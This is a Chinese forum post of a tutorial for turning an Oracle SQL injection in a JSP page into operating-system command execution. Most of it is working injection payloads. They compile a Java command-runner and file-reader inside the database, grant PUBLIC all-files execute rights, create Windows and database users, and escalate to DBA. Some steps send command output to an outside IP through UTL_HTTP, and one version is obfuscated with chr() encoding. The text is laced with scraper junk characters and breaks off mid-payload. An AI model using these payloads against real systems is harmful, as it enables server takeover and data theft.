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标题: 犀利的 oracle 注入技术 [打印本页]

作者: admin    时间: 2012-9-13 16:49
标题: 犀利的 oracle 注入技术
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介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。( A. |0 V& j1 _4 j1 ?! U
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成/ f/ j2 x) |7 L; V  o6 n8 L2 ~$ d1 T
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)8 r( U  N) v  ?, E# D$ ~5 O
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的形式即可。(用" 'a'|| "是为了让语句返回true值)
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语句有点长,可能要用post提交。# M9 l  |/ s' o% h- k. S2 L

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& N) d  S! ~2 W/ V以下是各个步骤:# n! B) D/ p. k* h! K) E, L) u

) s' q  x4 s! P1.创建包- I( E  p% m* X1 b$ o( {
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:. O7 X8 H3 c: Y1 }; Q- l: @) u

0 q0 \0 E& D( {- S# h7 _& f/xxx.jsp?id=1 and '1'<>'a'||(! n2 I* D# C" V( A* W

* ]- F! b/ z+ t5 xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') `7 p' a5 k6 h. r5 d  w
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
6 B8 c- D+ K/ y" d& t/ y5 ^. x) l+ Ynew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
, a4 p! T* n8 h: F. P6 F) J}'''';END;'';END;--','SYS',0,'1',0) from dual: c. @0 m+ P2 W/ x! ~

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如果url有长度限制,可以把readFile()函数块去掉,即:
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
( s4 B6 B1 v: z2 D6 Jcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
7 ?) ]3 v7 A# v' Q) Jnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
* `. |# ?5 }+ u}'''';END;'';END;--','SYS',0,'1',0) from dual
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同时把后面步骤 提到的 对readFile()的处理语句去掉。* o6 o; }% M( v' k' B: v$ X) X7 ]% G/ U
------------------------------
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& O0 s. d0 w  _. r: X5 Y2.赋Java权限1 ?3 Q7 V# E& D7 G0 m, D% D

" s' z6 ?3 h: C5 M. ^select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual" a) e$ V6 V: ^" ~7 p
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5 W2 `: U0 f- B" ~4 {3.创建函数
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* j% x% w: _2 z  R. rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
5 \; X0 K( t* |( tcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual7 S$ j' Z2 o3 l

* r- q& g. Z% \# u+ |0 I) Jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''1 V& _4 S( e6 {" B, }) m: W4 S, J6 r
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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* d" C' A, I. m: ]. o% s: J4.赋public执行函数的权限3 K$ {( D6 ^9 ~! t0 v, e; S! `

+ {/ M* l+ r  J! I0 f7 tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
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5.测试上面的几步是否成功
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select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'5 ?9 k, B$ \% \6 U/ C
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and '1'<>() Y% m( h1 k0 f+ R+ \4 E& y) _& ?9 T
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'+ U6 O) x& C" a" e7 O
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8 o7 }0 I" t/ S% p6.执行命令:% _9 x. @! _) {* s8 O( s
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/xxx.jsp?id=1 and '1'<>(% r. r9 b/ W: k
select sys.LinxRunCMD('cmd /c net user linx /add') from dual, C0 @. ~2 i0 O5 [2 A9 Y
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select sys.LinxReadFile('c:/boot.ini') from dual5 f; P( ?' v2 w3 f$ ?  g. k+ L) ^
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注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。: L; [  C  [6 f: ~$ {# n
如果要查看运行结果可以用 union :0 s& N9 y9 H4 ~5 |7 {* M, v
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/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual5 s9 l$ w( F3 x: J

* ]0 p: S: |8 ]' _或者UTL_HTTP.request(:
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/xxx.jsp?id=1 and '1'<>(
0 k; F6 ]! L8 c% ^1 zSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual! b: L0 H( s! ?( G% w8 t% X, k
)
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/xxx.jsp?id=1 and '1'<>(
" n; H5 D( `+ O6 g; Z, f; G) b% CSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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* B) r" E4 x8 D: S- j$ ^# p4 l注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。. p) [$ o2 o5 X, m, T
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6.内部变化) D% v' @* P" @4 f; v' G% j% e# k
通过以下命令可以查看all_objects表达改变:+ G9 l# G* N' |. k
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'( R* I0 n& ]6 v' Y( B2 b

8 Y, z2 U: D! b7.删除我们创建的函数
8 m6 c% C6 C1 b0 v; z) |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 B7 S, i7 L2 `) X0 p, Odrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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====================================================
7 o3 e. s- q# O# H. d# ]9 [全文结束。谨以此文赠与我的朋友。7 A" D0 Q6 t: a" L

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124829445
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linyujian@bjfu.edu.cn
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======================================================================# A8 {+ u, i9 Y/ f& T$ Y! k

8 I1 X* Y5 O* j6 i6 A- v测试漏洞的另一方法:7 {0 v/ N6 Y! y
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创建oracle帐号:" q* {# F' |' [1 A( D
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( A' h; Z8 {3 N3 Z' d+ e7 j4 h
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual2 C* ?3 A3 l+ f2 R9 t1 ]

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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),- M1 M( {7 L3 a. H
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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4 A' c* S, Q' D确定漏洞存在:
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select user_id from all_users where username='LINXSQL'5 C  F+ i, N! q) Q
)
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% G1 b8 S' }$ y5 m0 A( ^" H4 d给linxsql连接权限:
( h" C6 x% M; L; a3 @* G$ Mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' _1 `7 v! w6 k8 U. [
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual* T& Y# P4 d0 E2 q

; G% b) S  \$ G+ ~删除帐号:
' [# `3 P# D! K" X2 H; j$ qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
5 n; \) M# ~7 J7 ~6 h. Cdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:' c( q  w8 \1 x$ J* i* G

+ J1 g% K2 P; i  Y1.jsp?id=1 and '1'<>(- X6 D; j: W$ j: {
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! @) h% E* [0 `/ k" e0 r) h' zcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual4 a9 H6 m  O2 v) k
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1.jsp?id=1 and '1'<>(
* X" [$ w$ T* X$ s9 [4 D) x# rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual( o+ g3 U3 L% c* _  Z0 `& L
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SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL5 r6 D$ z% R6 n
) and ...
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3 }) A( t* Y! U- T5 Y1.jsp?id=1 and '1'<>(
8 i" }, s; c6 lSELECT sys.Linx_Query('declare pragma
( H9 F- n. s6 r. ~; E$ y: nautonomous_transaction; begin execute immediate ''
0 D8 h- h; a, j; P7 E% o. D& Hselect 1 from dual
% U( k( T% _$ e''; commit; end;') from dual
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多语句:
+ @: Z& o6 A& q( d3 t* M$ H6 }SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual/ |. t* R6 D8 U7 C' V4 Y
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创建用户(除非当前用户有system权限,否则无法成功):9 {2 ~, Z, O& R
SELECT sys.Linx_Query('declare pragma1 s: P  A3 H, n1 Y0 ^  H2 R2 t1 F0 f
autonomous_transaction; begin execute immediate ''
6 M- S/ D% {: O1 e: y, \9 N$ yCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
- k4 q: ]3 Q9 \: e! G2 |''; commit; end;') from dual+ b) H# s; `( N/ g- n

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& {5 M  k+ [1 }5 t4 C以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()! V, [: o  l4 c" ~7 ~
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1.创建函数3 w+ O+ R2 t8 [1 R5 U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; f' `9 E1 ]6 s! V
create or replace function Linx_Query (p
% c- h+ y/ K2 T2 p: {varchar2) return number authid current_user is begin execute immediate
2 L& o0 C, b$ i$ z+ @1 ~p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
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如果有权限,以下语句应该允许正常+ K" h' \! N8 ^
select sys.linx_query('select 1 from dual') from dual;
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不然的话运行:. M/ S4 N$ f$ r7 w  Q5 Y1 |; @/ F

2 Y* ?: l1 F7 c$ n/ [6 v2 U6 n7 ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- d3 x( C, ~2 M5 \4 s/ Ygrant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual
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# w6 F) l$ A4 b  P$ W8 A2.创建包
/ V; S- K! ~0 B3 P6 NSELECT sys.Linx_Query('declare pragma4 J9 k3 N# W* A* c- |/ j
autonomous_transaction; begin execute immediate ''
" J1 q$ z- E5 h& S8 s$ F( Lcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(9 {7 l5 T( P- {- ]3 c: J- H( a
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual% ]7 ^) _7 o/ X! I/ Y4 L6 r7 V

! ]: }' g  z8 P: \3.创建函数
6 e7 d; C8 x/ \" Z, o7 gSELECT sys.Linx_Query('declare pragma
* [; ~: D# Z/ A/ e+ {, [autonomous_transaction; begin execute immediate ''  N  {, |7 R6 ^$ l5 b4 J7 P
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual5 g! q! K0 M" f7 i) A
/ S0 G' K1 v1 `+ u
4.给权限5 J/ |0 _% ]) ?- E
给用户SYSTEM执行权限:+ q: e7 |9 k5 L9 a  X* B5 N% G
& X8 x  o+ N# W' A2 y: R1 e
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
; ^2 r6 z/ Q% Q0 @. C! U5 c% {# {6 l2 c( z  O$ z& i
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3 O+ ^+ K3 K7 p" e- x, \2 }
5.执行函数
7 `( V/ V/ C$ X% y  u* Y; qselect RunCMD2('cmd /c dir') from dual
0 i/ U3 T. r7 R! K0 p' q
! H* E3 i. w! F5 W+ |5 ~/ `
: K9 W) @, H6 Y: V' M3 Y* d
8 v% e5 S' O& h) a4 `8 @# V
" N  P3 [' d# K' h
, f  m3 G  U2 A8 J, h==================
& c  f& Q" C" p2 {. D" P================================
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2 n! A8 Q- n1 N8 @* h5 @! e以下是无 " ' " 版:% e# Y6 ?- H. ]% Z! j  j! @: K
$ k+ I) D7 S1 d# `. H2 O
以下是各个步骤:
  V" X/ U! V. C% n3 p
' B1 u* A  c* u, o. y1.创建包
' ~" x& s# |( q* |$ U: M3 f; j通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:  v- u  L) t* a8 T$ c# t& r0 f! |9 P4 k
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:& W/ O7 q  G1 S: ~
& z% a; S5 |2 x; P$ g( {$ ^
/xxx.jsp?id=1 and chr(49)<>chr(50)||(  v3 ^7 j: |, H' w- f- z

  V4 i3 I  |8 ], m' Z+ S1 lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
! ~7 K6 a* Q4 P& u+ q$ |  [# tchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
2 Y( z; v( g% _5 Kchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
* R3 G0 W# w& g1 [  W, H# Nchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
. }( I& H$ n/ N5 Mchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||/ M0 E5 w' u3 Y5 v) d' p1 ~0 P, {6 [3 i
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
9 ]  K) q' t7 t9 q* Q! Nchr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
3 m  y, f- X6 v5 Rchr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
# r3 q$ |+ Y( w; w' c, o0 ichr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
3 ^+ s* h/ O. i4 w4 G9 qchr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||/ O" Q7 x* ~3 h4 j' `3 r
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
. W) q7 A  s% c0 P( ^1 y# J4 S  C* rchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
! o0 T& o; i+ T1 Rchr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
1 f# M" O/ R( b9 B! O$ dchr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
$ w6 }8 R4 U" ~) Z, a5 V' `7 j0 gchr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
9 _9 _* o9 Y  N/ b$ ychr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
5 i) e; E$ ^/ _) s0 X: ~: Achr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
6 ?5 X+ ?" E* Mchr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||1 E9 ~5 r2 q; N
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
6 o- V! a8 D4 Q9 M2 {! C  ^chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||  j" N4 H. I: h. Z- T7 j
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||5 ?9 ~' f- i1 [7 q2 J0 I( a
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
0 h) e3 V1 L- V8 ]' T- xchr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||8 K* |( c+ l& V0 i1 ~- b/ N) I0 r
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
$ f: ?6 D/ L! A) r8 X  I  k: l1 n# N( Echr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||7 s2 [6 r. @) S7 i
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||8 C0 C# |8 _( h0 c' _
